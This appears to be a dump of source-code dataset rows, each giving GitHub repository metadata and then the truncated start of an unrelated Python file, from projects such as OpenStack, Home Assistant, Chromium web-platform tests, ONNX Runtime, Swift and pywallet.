] | permissive | openstack/magnum | 980c2151388b8acc60f3ca2818e41431ffa742f4 | eca79453c0097b0f63019821d3c2e9ecacebf784 | refs/heads/master | 2023-08-20T01:44:51.957778 | 2023-07-21T02:54:23 | 2023-07-25T09:00:40 | 26,314,357 | 345 | 282 | Apache-2.0 | 2022-11-03T11:36:24 | 2014-11-07T10:08:50 | Python | UTF-8 | Python | false | false | 23,605 | py | test_cert_manager.py | # Copyright 2015 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
7fce0ee3732434a3746ba1a43b5eff06b6e10b73 | e0cc314aa73c0a965a2022f19900df3ccc8c9f43 | /windows/winproxy/apis/psapi.py | 5b7690c4a3b7e8703019f7e04397115c1f79f3c3 | [
"BSD-3-Clause"
] | permissive | hakril/PythonForWindows | 21823e743ee4ae7ff99e376378357833f2e19d26 | 82d0c5cc5c9b4d569dca2c755f26b947e3ff74f5 | refs/heads/master | 2023-06-08T03:25:50.354768 | 2023-05-26T07:31:06 | 2023-05-26T07:31:06 | 49,235,784 | 568 | 111 | BSD-3-Clause | 2023-01-30T12:04:03 | 2016-01-07T22:54:33 | Python | UTF-8 | Python | false | false | 1,960 | py | psapi.py | import ctypes
import windows.generated_def as gdef
from ..apiproxy import ApiProxy, NeededParameter
from ..error import fail_on_zero
class PsapiProxy(ApiProxy):
APIDLL = "psapi"
default_error_check = staticmethod(fail_on_zero)
@PsapiProxy()
def GetMappedFileNameW(hProcess, lpv, lpFilename, nSize=None):
... |
0cc6483b1baf603a5ad785552c9bbc60eda0ce64 | 9161d1421be019e0573bd123460fe69e7cce4cb9 | /mosqito/sound_level_meter/noct_spectrum/_n_oct_time_filter.py | 457739829c03914d1d2226a7538ce24b7937b76e | [
"Apache-2.0",
"GPL-1.0-or-later"
] | permissive | Eomys/MoSQITo | dadbc9159bfef348b1b762a0c8bef8a7f3ed1ef0 | b6bf207ef4ac422fa075b5117bb186281b52b7c1 | refs/heads/master | 2023-08-03T13:02:07.943373 | 2022-12-23T15:31:36 | 2022-12-23T15:31:36 | 249,368,386 | 107 | 40 | Apache-2.0 | 2023-08-02T15:47:18 | 2020-03-23T07:56:37 | Jupyter Notebook | UTF-8 | Python | false | false | 1,953 | py | _n_oct_time_filter.py | # -*- coding: utf-8 -*-
# Standard library imports
import numpy as np
from scipy.signal import decimate, butter, sosfilt
def _n_oct_time_filter(sig, fs, fc, alpha, N=3):
"""Design of a nth octave filter set
Designs a digital 1/3-octave filter with center frequency fc for
sampling frequency fs. The filte... |
4270ab4628d32954e5d53c5b4b563d04e748d741 | 0f2b08b31fab269c77d4b14240b8746a3ba17d5e | /orttraining/orttraining/python/training/ort_triton/_common.py | 65540202420b5ee820c6ac0da95a01aa1340749c | [
"MIT"
] | permissive | microsoft/onnxruntime | f75aa499496f4d0a07ab68ffa589d06f83b7db1d | 5e747071be882efd6b54d7a7421042e68dcd6aff | refs/heads/main | 2023-09-04T03:14:50.888927 | 2023-09-02T07:16:28 | 2023-09-02T07:16:28 | 156,939,672 | 9,912 | 2,451 | MIT | 2023-09-14T21:22:46 | 2018-11-10T02:22:53 | C++ | UTF-8 | Python | false | false | 7,030 | py | _common.py | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# --------------------------------------------------------------------------
from abc import abstractmethod
from typing import Any, Dict, List, Tuple... |
c65d63167a55324a1987c6758bb5833edc2a898f | c168fe819b446640957e5e310ef89fcfe28662b3 | /torchbenchmark/models/Background_Matting/train_real_fixed.py | c8636ece697bd64748207875f46e8c1aa0dcf945 | [
"CC-BY-NC-SA-4.0",
"BSD-3-Clause"
] | permissive | pytorch/benchmark | 7b55e8d714de2ea873e03df43811aab3848485dd | df4da9bdff11a2f948d5bd4ac83da7922e6f44f4 | refs/heads/main | 2023-08-29T13:06:09.671728 | 2023-08-28T16:51:55 | 2023-08-28T16:51:55 | 92,541,759 | 685 | 220 | BSD-3-Clause | 2023-09-14T18:10:18 | 2017-05-26T19:21:12 | Python | UTF-8 | Python | false | false | 8,803 | py | train_real_fixed.py | from __future__ import print_function
import torch
from torch.autograd import Variable
import torch.nn as nn
import torch.optim as optim
from tensorboardX import SummaryWriter
import os
import time
import argparse
import numpy as np
from data_loader import VideoData
from functions import *
from networks import Resn... |
fb3355c6b1b2db63c814c9602cdd7587f09300b8 | f305f84ea6f721c2391300f0a60e21d2ce14f2a5 | /20_杂题/牛客编程巅峰赛/7_ 牛妹的春游-二维的01背包.py | 123f68d93fa59b40c8d237e19fce46905c1d3026 | [] | no_license | 981377660LMT/algorithm-study | f2ada3e6959338ae1bc21934a84f7314a8ecff82 | 7e79e26bb8f641868561b186e34c1127ed63c9e0 | refs/heads/master | 2023-09-01T18:26:16.525579 | 2023-09-01T12:21:58 | 2023-09-01T12:21:58 | 385,861,235 | 225 | 24 | null | null | null | null | UTF-8 | Python | false | false | 1,043 | py | 7_ 牛妹的春游-二维的01背包.py | # 给出两个正整数x,y,另给出若干个数对[ai,bi,ci],
# 请挑选若干数对使得挑出的数对ai的和不小于x,bi的和不小于y,
# 计算挑出数对的ci的和的最小值
# breadNum,beverageNum<=2000 暗示状态就是这两维
# 可以用一个二维数组来表示状态,
# 其中第一维表示面包的数量,第二维表示饮料的数量
INF = 0x3F3F3F3F
class Solution:
def minCost(self, breadNum, beverageNum, packageSum):
n = len(packageSum)
dp =... |
9022f3b5716f268f2b3b268f4ae65c2c33d720c4 | c4f29914827284c581aabeee126e0c42dc7e1a56 | /plugins/translate.py | e5774dcd8e5e476b91ca202b9541cb8f6c5b9d8f | [
"Unlicense",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] | permissive | rmmh/skybot | 66a7698d960026da52ee2413845d1ca364a1713f | 3bfaad863a833a25b145b094a803f742d3aec1b8 | refs/heads/master | 2023-08-29T21:29:14.094136 | 2023-08-15T02:38:23 | 2023-08-15T02:38:23 | 855,503 | 155 | 131 | Unlicense | 2023-03-29T00:21:52 | 2010-08-22T22:38:50 | Python | UTF-8 | Python | false | false | 5,554 | py | translate.py | """
A Google API key is required and retrieved from the bot config file.
Since December 1, 2011, the Google Translate API is a paid service only.
"""
from builtins import zip
from builtins import chr
import html.entities
import re
from util import hook, http
########### from http://effbot.org/zone/re-sub.htm#unescap... |
28e970f9afb6961a110c42689baf89794ba5320d | 489f789e19ddf0f10cd739b3f091b5c61a63a857 | /agent/utils/filter.py | dae42276c92bf44e78c833f5f1b08e5c417f2639 | [] | no_license | adityathebe/telegramForwarder | 7523db3107911d5845f9e2ea887b4f7bd4e32953 | d72e2264704f15ee5a78a14e11d50dc6be06519a | refs/heads/master | 2021-06-15T08:10:10.101750 | 2021-05-03T17:23:17 | 2021-05-03T17:23:17 | 156,350,910 | 161 | 133 | null | 2021-02-15T13:38:31 | 2018-11-06T08:27:57 | JavaScript | UTF-8 | Python | false | false | 4,278 | py | filter.py | import logging
from db.database import Database
logger = logging.getLogger('Filter')
database = Database()
class MessageFilter:
@staticmethod
def get_filter(filter_id):
filter = database.get_filter(filter_id)
if filter is None:
return False
filter_dict = {
'i... |
8d6d3bc3651f695962398b6595481de43607d91c | b60a81fd1ecaf62eb7e367f739e77049895352e2 | /demo/GLUE/RTE/rte.py | b01b2af2ff2aede68c94fd01747fbfb7acdea499 | [
"MIT"
] | permissive | CyberZHG/keras-xlnet | 3453e61bae702611e3f30e86a73f80a41f32f7de | d9dbd2c00d9ffbf1d12a8bf3ef75ece4b25b06de | refs/heads/master | 2022-02-04T20:35:32.928627 | 2022-01-01T02:00:00 | 2022-01-01T02:00:00 | 192,900,188 | 190 | 34 | MIT | 2019-07-15T16:52:14 | 2019-06-20T10:30:13 | Python | UTF-8 | Python | false | false | 3,728 | py | rte.py | import os
import numpy as np
import pandas as pd
from keras_xlnet.backend import keras
from keras_bert.layers import Extract
from keras_xlnet import PretrainedList, get_pretrained_paths
from keras_xlnet import Tokenizer, load_trained_model_from_checkpoint, ATTENTION_TYPE_BI
EPOCH = 10
BATCH_SIZE = 16
SEQ_LEN = 100
M... |
b495a2d500f1e59c0a15fff0eb7863daeaa9e308 | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /homeassistant/components/vilfo/sensor.py | 511e25bbfbaa8bf10fd231447855a48a95f50829 | [
"Apache-2.0"
] | permissive | home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | Python | UTF-8 | Python | false | false | 2,883 | py | sensor.py | """Support for Vilfo Router sensors."""
from dataclasses import dataclass
from homeassistant.components.sensor import (
SensorDeviceClass,
SensorEntity,
SensorEntityDescription,
)
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import PERCENTAGE
from homeassistant.core import ... |
f0b078fa1be3036d20bc07f275ac126b1303ac08 | a3d6556180e74af7b555f8d47d3fea55b94bcbda | /third_party/blink/web_tests/external/wpt/attribution-reporting/resources/reports.py | b71743b0fc04db7afd38e619377b032b34a86348 | [
"BSD-3-Clause",
"GPL-1.0-or-later",
"MIT",
"LGPL-2.0-or-later",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft"
] | permissive | chromium/chromium | aaa9eda10115b50b0616d2f1aed5ef35d1d779d6 | a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c | refs/heads/main | 2023-08-24T00:35:12.585945 | 2023-08-23T22:01:11 | 2023-08-23T22:01:11 | 120,360,765 | 17,408 | 7,102 | BSD-3-Clause | 2023-09-10T23:44:27 | 2018-02-05T20:55:32 | null | UTF-8 | Python | false | false | 4,672 | py | reports.py | """Methods for the report-event-attribution and report-aggregate-attribution endpoints"""
import json
from typing import List, Optional, Tuple
import urllib.parse
from wptserve.request import Request
from wptserve.stash import Stash
from wptserve.utils import isomorphic_decode, isomorphic_encode
# Key used to access ... |
894e9b42c7f418b7e19a5fe4cf60eca3033ed0ea | 479a9c76b19b84d6cde69305828031cd2531aa56 | /testing/MLDB-696_uri_causes_crash.py | 6a3507a5c4adda750d3ca2a1fb059eca0754e204 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | mldbai/mldb | d36801bd99dd3f82d7557cd0f438b0121f63f22c | 19bc4bc92a41ee8ad4eab0979dffd9c985d95758 | refs/heads/master | 2023-09-03T22:59:11.621839 | 2022-12-30T18:42:24 | 2022-12-30T18:42:24 | 47,634,692 | 701 | 107 | Apache-2.0 | 2023-02-10T23:08:05 | 2015-12-08T16:34:16 | C++ | UTF-8 | Python | false | false | 716 | py | MLDB-696_uri_causes_crash.py | # This file is part of MLDB. Copyright 2015 mldb.ai inc. All rights reserved.
try:
mldb.create_dataset({
"type": "beh.mutable", "id": "x",
"params":{
"dataFileUrl": "relative/path/without/protocol.beh"
}}).commit() #should complain about missing protocol!
... |
8c66a1665ff3bd28663c4c82e3aaa8412f787f53 | 99dcb18a9e3ea367272f740b8cbf3c34285a0c08 | /google/cloud/aiplatform_v1/services/tensorboard_service/client.py | 34f95b1bac48946a07f47479058113b7261651a6 | [
"Apache-2.0"
] | permissive | googleapis/python-aiplatform | 926a4873f35dbea15b2fd86c0e16b5e6556d803e | 76b95b92c1d3b87c72d754d8c02b1bca652b9a27 | refs/heads/main | 2023-08-19T23:49:02.180075 | 2023-08-19T13:25:59 | 2023-08-19T13:27:27 | 298,017,988 | 418 | 240 | Apache-2.0 | 2023-09-14T21:08:33 | 2020-09-23T15:43:39 | Python | UTF-8 | Python | false | false | 213,036 | py | client.py | # -*- coding: utf-8 -*-
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
115ac7dd9c19729be33f8a941fe8cea323e8ef5b | d01680fe164d915bb3ffd6b10dea1d7cac503630 | /python-package/lets_plot/plot/theme_.py | af03d76c10599eba970dc84223fa5dc242d5fb0c | [
"MIT",
"Apache-2.0",
"LGPL-2.0-or-later",
"BSD-3-Clause",
"LGPL-3.0-only"
] | permissive | JetBrains/lets-plot | 4ba8edd8910967d5e15d8d0ea1a9cd7a9c50432f | af4f6554eb9cc250259a6a6757b5c8d920dde8c4 | refs/heads/master | 2023-09-01T04:15:04.414149 | 2023-08-31T16:48:57 | 2023-08-31T16:48:57 | 176,771,727 | 1,264 | 59 | MIT | 2023-09-07T12:42:01 | 2019-03-20T16:13:03 | Kotlin | UTF-8 | Python | false | false | 18,310 | py | theme_.py | #
# Copyright (c) 2019. JetBrains s.r.o.
# Use of this source code is governed by the MIT license that can be found in the LICENSE file.
#
from .core import FeatureSpec
__all__ = [
'theme',
'element_blank',
"element_line",
'element_rect',
'element_text',
'margin',
'element_geom',
]
def th... |
e5b24979f06312d08f923b6bb31f8c621fc4bae5 | 83b8b30ebb633eecd29ca0a7a20cc43a293c9333 | /tests/basics/list_slice_assign.py | 885615717232ada1e94b725db2a0629a589dd51f | [
"MIT",
"GPL-1.0-or-later"
] | permissive | adafruit/circuitpython | 430ec895149d1eb814b505db39b4977a35ee88a7 | 506dca71b0cbb7af749bb51f86b01021db5483b3 | refs/heads/main | 2023-08-21T16:30:46.781068 | 2023-08-20T00:39:44 | 2023-08-20T00:39:44 | 66,166,069 | 3,806 | 1,560 | MIT | 2023-09-14T19:23:51 | 2016-08-20T20:10:40 | C | UTF-8 | Python | false | false | 621 | py | list_slice_assign.py | # test slices; only 2 argument version supported by MicroPython at the moment
x = list(range(10))
# Assignment
l = list(x)
l[1:3] = [10, 20]
print(l)
l = list(x)
l[1:3] = [10]
print(l)
l = list(x)
l[1:3] = []
print(l)
l = list(x)
del l[1:3]
print(l)
l = list(x)
l[:3] = [10, 20]
print(l)
l = list(x)
l[:3] = []
print(l... |
2bb37a82962a57a0e65c4e35a4c80d8264a9f5d6 | df87814cb32990ad8c27d0b13a821aabce012819 | /kolibri/core/discovery/utils/filesystem/posix.py | 64d1b91e2d766a237aaaacf1ebae0322ace7addf | [
"MIT"
] | permissive | learningequality/kolibri | 26812d4ae771f3b389d3317a586bc032fc84866b | cc9da2a6acd139acac3cd71c4cb05c15d4465712 | refs/heads/release-v0.16.x | 2023-09-01T18:07:29.720772 | 2023-08-31T15:43:47 | 2023-08-31T15:43:47 | 49,976,939 | 689 | 682 | MIT | 2023-09-14T20:02:29 | 2016-01-19T19:22:07 | Python | UTF-8 | Python | false | false | 9,838 | py | posix.py | import logging
import os
import re
import shutil
import subprocess
import sys
from .constants import drivetypes
from kolibri.utils.android import on_android
logger = logging.getLogger(__name__)
# Regex parser for the output of `mount` on OSX, which contains rows that looks like:
# /dev/disk1s1 on /Volumes/HP v125w ... |
c0ec6c105921ec8300c801a92310da726c3aba73 | c29eba01ce299ebb27b886a83e19e59add7e2f6b | /tests/cases/doc/test_get_current_cases.py | 2a1e3aaa03d1fddb607fe32a4ff3c9f7aeee901a | [
"BSD-3-Clause"
] | permissive | smarie/python-pytest-cases | e87516e73d5067d5c307c7fdb37cc5f1f97c417e | ab3b7190d728b18512141b9f5f3a1c3dfc7cedf2 | refs/heads/main | 2023-07-08T11:41:57.278697 | 2023-02-23T13:11:25 | 2023-02-23T13:11:25 | 138,296,136 | 286 | 40 | BSD-3-Clause | 2023-07-03T14:57:02 | 2018-06-22T11:42:19 | Python | UTF-8 | Python | false | false | 9,058 | py | test_get_current_cases.py | # Authors: Sylvain MARIE <sylvain.marie@se.com>
# + All contributors to <https://github.com/smarie/python-pytest-cases>
#
# License: 3-clause BSD, <https://github.com/smarie/python-pytest-cases/blob/master/LICENSE>
from pytest_cases import parametrize_with_cases, fixture, case, filters, get_current_cases
from ... |
6e82c5ec1811060133dfc18258a74c22ae880a1c | a4ea525e226d6c401fdb87a6e9adfdc5d07e6020 | /src/azure-cli/azure/cli/command_modules/resource/tests/latest/test_api_check.py | 6a74af36cf2d913f5a2a99434879bd565ddc625e | [
"MIT",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MPL-2.0",
"LGPL-2.1-only",
"Apache-2.0",
"LGPL-2.1-or-later",
"BSD-2-Clause"
] | permissive | Azure/azure-cli | 13340eeca2e288e66e84d393fa1c8a93d46c8686 | a40fd14ad0b6e89720a2e58d4d9be3a6ce1535ca | refs/heads/dev | 2023-08-17T06:25:37.431463 | 2023-08-17T06:00:10 | 2023-08-17T06:00:10 | 51,040,886 | 4,018 | 3,310 | MIT | 2023-09-14T11:11:05 | 2016-02-04T00:21:51 | Python | UTF-8 | Python | false | false | 5,190 | py | test_api_check.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
dcd1490f66297369bc3ab7b17aa223a8bc789811 | 025401acb1f040d0fffe94b2306e5ed899b773bc | /data_structures/attribute.py | 64fb6c33cca38376671eb4e171186e4535ddf44c | [
"MIT"
] | permissive | alipsgh/tornado | 02f19a838d3136d39d662c4d48403fdb98ce7974 | f5a2a46a1b0882a91613ab9a635008808a7d37dd | refs/heads/master | 2022-08-07T11:16:17.146885 | 2022-08-02T22:05:11 | 2022-08-02T22:05:11 | 102,551,348 | 129 | 37 | MIT | 2022-08-02T22:05:13 | 2017-09-06T02:09:14 | Python | UTF-8 | Python | false | false | 615 | py | attribute.py |
class Attribute:
def __init__(self):
self.NAME = None
self.TYPE = None
self.POSSIBLE_VALUES = []
self.MAXIMUM_VALUE = None
self.MINIMUM_VALUE = None
def set_name(self, attr_name):
self.NAME = attr_name
def set_type(self, attr_type):
... |
fd132cd2443af5b9a66775b0e1854482f86045e6 | 2c9a0463dcd7c88623bedf94dbfa3b33f2830783 | /pywallet/utils/ethereum.py | 2541052ddd5915aebf600084217935f69b7fc178 | [
"MIT"
] | permissive | ranaroussi/pywallet | dea3a23b5f9c2631120811eb307582b512883d94 | 468622dcf993a27a5b585289b2724986c02a1fbc | refs/heads/master | 2023-04-11T05:48:46.160948 | 2019-11-09T14:32:13 | 2019-11-09T14:32:13 | 111,648,229 | 432 | 199 | MIT | 2023-03-16T08:54:02 | 2017-11-22T07:02:29 | Python | UTF-8 | Python | false | false | 55,603 | py | ethereum.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code from:
https://github.com/michailbrynard/ethereum-bip44-python
This submodule provides the PublicKey, PrivateKey, and Signature classes.
It also provides HDPublicKey and HDPrivateKey classes for working with HD
wallets."""
import math
import base58
import base64
... |
fe502e4a4513f0704957d34c893ff395672b0da3 | 8150b3e15b39199b231619f79b20f64eb941507e | /lenstronomy/SimulationAPI/observation_api.py | 690f1a850232b776b2409ce4b9aa0dc482937e2b | [
"BSD-3-Clause"
] | permissive | sibirrer/lenstronomy | 8d48ca125fc588a1f97033255746afcdeaaa1e76 | 902a0f318da46bd444d408853f40f744603e2f35 | refs/heads/main | 2023-08-21T19:55:18.222805 | 2023-08-21T19:31:01 | 2023-08-21T19:31:01 | 80,772,893 | 115 | 76 | null | null | null | null | UTF-8 | Python | false | false | 13,290 | py | observation_api.py | import numpy as np
import warnings
import lenstronomy.Util.data_util as data_util
from lenstronomy.Data.psf import PSF
from lenstronomy.Util.package_util import exporter
export, __all__ = exporter()
@export
class Instrument(object):
"""
basic access points to instrument properties
"""
def __init__(se... |
650702b0061979988570a2e80affc3ce968f119a | 10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94 | /Python/distinct-echo-substrings.py | 1f065c5472e98c2dece05708af253fb69eb80583 | [
"MIT"
] | permissive | kamyu104/LeetCode-Solutions | f54822059405ef4df737d2e9898b024f051fd525 | 4dc4e6642dc92f1983c13564cc0fd99917cab358 | refs/heads/master | 2023-09-02T13:48:26.830566 | 2023-08-28T10:11:12 | 2023-08-28T10:11:12 | 152,631,182 | 4,549 | 1,651 | MIT | 2023-05-31T06:10:33 | 2018-10-11T17:38:35 | C++ | UTF-8 | Python | false | false | 3,601 | py | distinct-echo-substrings.py | # Time: O(n^2 + d), d is the duplicated of result substrings size
# Space: O(r), r is the size of result substrings set
class Solution(object):
def distinctEchoSubstrings(self, text):
"""
:type text: str
:rtype: int
"""
def KMP(text, l, result):
prefix = [-1]*(l... |
07f4bf681dac89025c8e4b294aa4ee847406dc43 | 0ba2e5061577f6286ff9265ef1df9aca96769445 | /machine_learning/sentiment_analysis_twitter/Deep Learning/sentiment_cnn.py | 819c19a881caf404343d6c4aab00d4ad377a8f4a | [
"CC0-1.0"
] | permissive | ZoranPandovski/al-go-rithms | 68d5d02f80a61de9baf8e50a81a52e7d0b3983a0 | 4ae6ba54e90af14af236e03e435eb0402dcac787 | refs/heads/master | 2023-09-04T16:04:04.321676 | 2023-06-06T15:22:16 | 2023-06-06T15:22:16 | 93,438,176 | 1,421 | 2,445 | CC0-1.0 | 2023-06-15T14:24:28 | 2017-06-05T19:20:20 | Jupyter Notebook | UTF-8 | Python | false | false | 1,592 | py | sentiment_cnn.py | import numpy as np
import pandas as pd
from keras.layers import Input, Dense, Bidirectional, Embedding, Dropout, Flatten
from keras.layers import concatenate, SpatialDropout1D, GlobalAveragePooling1D, GlobalMaxPooling1D
from keras.layers.convolutional import Conv1D
from keras.layers.convolutional import MaxPooling1D
fr... |
736280c58da00a16f404f5b4a72280841ea84398 | 5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d | /alipay/aop/api/domain/CreditResult.py | 8d2525ee3bb58dde79eaaac5d267a9e344dcf688 | [
"Apache-2.0"
] | permissive | alipay/alipay-sdk-python-all | 8bd20882852ffeb70a6e929038bf88ff1d1eff1c | 1fad300587c9e7e099747305ba9077d4cd7afde9 | refs/heads/master | 2023-08-27T21:35:01.778771 | 2023-08-23T07:12:26 | 2023-08-23T07:12:26 | 133,338,689 | 247 | 70 | Apache-2.0 | 2023-04-25T04:54:02 | 2018-05-14T09:40:54 | Python | UTF-8 | Python | false | false | 6,171 | py | CreditResult.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class CreditResult(object):
def __init__(self):
self._credit_line = None
self._credit_no = None
self._credit_term = None
self._credit_term_unit = None
self._effe... |
973a42b57c5afbd5bdbc0c84fed173e00d98b9b5 | 52f9d2edfe80b683f33832ecf81317ef04da7cd7 | /src/pygubu/plugins/tk/__init__.py | 825a2eb4647fc19ffc4bdab800498fdf234b7a2f | [
"MIT"
] | permissive | alejandroautalan/pygubu | bd1dd455509adadbe91338dec8588c76d4629a50 | 493eaf7f1954d289d996f6b87d35032861f6baac | refs/heads/master | 2023-09-01T14:43:16.502055 | 2023-07-21T01:35:41 | 2023-07-21T01:35:41 | 8,170,146 | 2,026 | 289 | MIT | 2023-07-04T03:53:27 | 2013-02-13T00:02:24 | Python | UTF-8 | Python | false | false | 443 | py | __init__.py | from pygubu.api.v1 import BuilderLoaderPlugin
class StandardTKWidgetsLoader(BuilderLoaderPlugin):
_module = "pygubu.plugins.tk.tkstdwidgets"
def do_activate(self) -> bool:
return True
def get_module_for(self, identifier: str) -> str:
return self._module
def get_all_modules(self):
... |
5139851a8762b8b98399a781ccbd102191beb5e2 | 3daa53a2190f365ee2e2acae39ca4e84919f2f50 | /swift/common/middleware/staticweb.py | c01f720f14e4ae123a829bac317dd456048c6ba1 | [
"Apache-2.0"
] | permissive | openstack/swift | 4c8e4a14c1c6f7efb049f983ede28e89bd2e9140 | f06e5369579599648cc78e4b556887bc6d978c2b | refs/heads/master | 2023-08-28T15:04:33.200849 | 2023-08-24T20:35:07 | 2023-08-24T21:05:48 | 790,019 | 2,370 | 957 | Apache-2.0 | 2023-06-22T02:45:53 | 2010-07-22T01:50:07 | Python | UTF-8 | Python | false | false | 24,807 | py | staticweb.py | # Copyright (c) 2010-2016 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
2532acae561f9626448d6ff9e8e297e668e75cbb | 4e82d8497d6457cc47ade28494970d89e540aca5 | /test/unit/analysis/plant_parts_eia_test.py | c333f59185a050910ecab6e26d6bb4d30507b6ac | [
"CC-BY-4.0",
"MIT"
] | permissive | catalyst-cooperative/pudl | 28f721a0caced2f50485fbba1b7c78f4465b2539 | 6afae8aade053408f23ac4332d5cbb438ab72dc6 | refs/heads/main | 2023-08-16T11:46:45.249665 | 2023-08-15T01:37:01 | 2023-08-15T01:37:01 | 80,646,423 | 382 | 101 | MIT | 2023-09-13T21:27:33 | 2017-02-01T17:45:40 | Python | UTF-8 | Python | false | false | 21,551 | py | plant_parts_eia_test.py | """Tests for timeseries anomalies detection and imputation."""
from importlib import resources
from typing import Literal
import pandas as pd
import pudl
import pudl.analysis.plant_parts_eia
GENS_MEGA = pd.DataFrame(
{
"plant_id_eia": [1, 1, 1, 1],
"report_date": ["2020-01-01", "2020-01-01", "202... |
a6372b04d1a9180f03e23881edbaa67fd0e3cfe2 | 9d0228f3f7ee9cee0794319d4affc161b0a7adc2 | /qmpy/web/views/api/optimade_api.py | bfee3b3a17eed1106664861ee60f0a1382a6e652 | [
"MIT"
] | permissive | wolverton-research-group/qmpy | db8a450a5708aac63aa39e104745b5cb0a4fa930 | dede5bdf4aa3ea1187a7bc273e86336c24aadb25 | refs/heads/master | 2023-01-24T17:18:48.335699 | 2022-08-23T01:12:29 | 2022-08-23T01:12:29 | 18,248,720 | 124 | 65 | MIT | 2023-01-11T02:04:51 | 2014-03-29T19:18:53 | JavaScript | UTF-8 | Python | false | false | 10,034 | py | optimade_api.py | from rest_framework import generics
import django_filters.rest_framework
from qmpy.web.serializers.optimade import OptimadeStructureSerializer
from qmpy.materials.formation_energy import FormationEnergy
from qmpy.materials.entry import Composition
from qmpy.models import Formation
from qmpy.utils import query_to_Q, par... |
c8d1d2221d5945821791c53b58cc17555fae4076 | 993252f0bab4d37b1ea0f0b9a95dbb96a200808f | /dccp/linearize.py | eb8fddd47ff7fa558daac20640a128b19dee65dc | [] | no_license | cvxgrp/dccp | 4dba3e8e5c517a7c314a20d6144e2268c4cd61a1 | c94aba9881e9f39119c1a693a5a752f23cf0d403 | refs/heads/master | 2023-06-09T08:50:12.835704 | 2022-07-09T21:22:12 | 2022-07-09T21:22:12 | 55,815,696 | 115 | 29 | null | 2020-12-02T04:47:42 | 2016-04-08T23:28:30 | Python | UTF-8 | Python | false | false | 3,367 | py | linearize.py | __author__ = "Xinyue"
import numpy as np
import cvxpy as cvx
def linearize_para(expr):
"""
input:
expr: an expression
return:
linear_expr: linearized expression
zero_order: zero order parameter
linear_dictionary: {variable: [value parameter, [gradient parameter]]}
d... |
e27ca211352d0a40f27fc2b34c8d45eaef545999 | 150a7b11cb531f8bc2a045aefcf2ebe1d151efa3 | /ocs_ci/utility/localstorage.py | 2f0d3b5f99dc9c65cbea61ac6608db9d95150777 | [
"MIT"
] | permissive | red-hat-storage/ocs-ci | c7ac414e1b86552da0439223dfa9bca39977f31a | 5e9e504957403148e413326f65c3769bf9d8eb39 | refs/heads/master | 2023-08-17T16:19:51.154403 | 2023-08-17T13:27:12 | 2023-08-17T13:27:12 | 179,558,938 | 146 | 210 | MIT | 2023-09-14T16:38:44 | 2019-04-04T19:00:02 | Python | UTF-8 | Python | false | false | 9,040 | py | localstorage.py | """
This module contains local-storage related methods
"""
import json
import logging
import os
import shutil
from distutils.version import LooseVersion
import yaml
from ocs_ci.framework import config
from ocs_ci.ocs import constants, defaults
from ocs_ci.ocs.exceptions import CommandFailed
from ocs_ci.ocs.node impor... |
2b34bce0f50e1f3818115d92e020ca1fdbfc550f | 444a9480bce2035565332d4d4654244c0b5cd47b | /research/cv/simclr/src/optimizer.py | 485176be72b2869ee33aca7d6c403028e73834cb | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-proprietary-license"
] | permissive | mindspore-ai/models | 7ede9c6454e77e995e674628204e1c6e76bd7b27 | eab643f51336dbf7d711f02d27e6516e5affee59 | refs/heads/master | 2023-07-20T01:49:34.614616 | 2023-07-17T11:43:18 | 2023-07-17T11:43:18 | 417,393,380 | 301 | 92 | Apache-2.0 | 2023-05-17T11:22:28 | 2021-10-15T06:38:37 | Python | UTF-8 | Python | false | false | 2,543 | py | optimizer.py | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
7b389bc63538659b70a1f8195a6444947148070e | 9ed3b16b3da72e4c47a04f2f2e3ef395e9fd9f20 | /contrib/openjdk17/update.py | c61f2e44e7288b82de836abf2244e5957ec61e1c | [
"BSD-2-Clause"
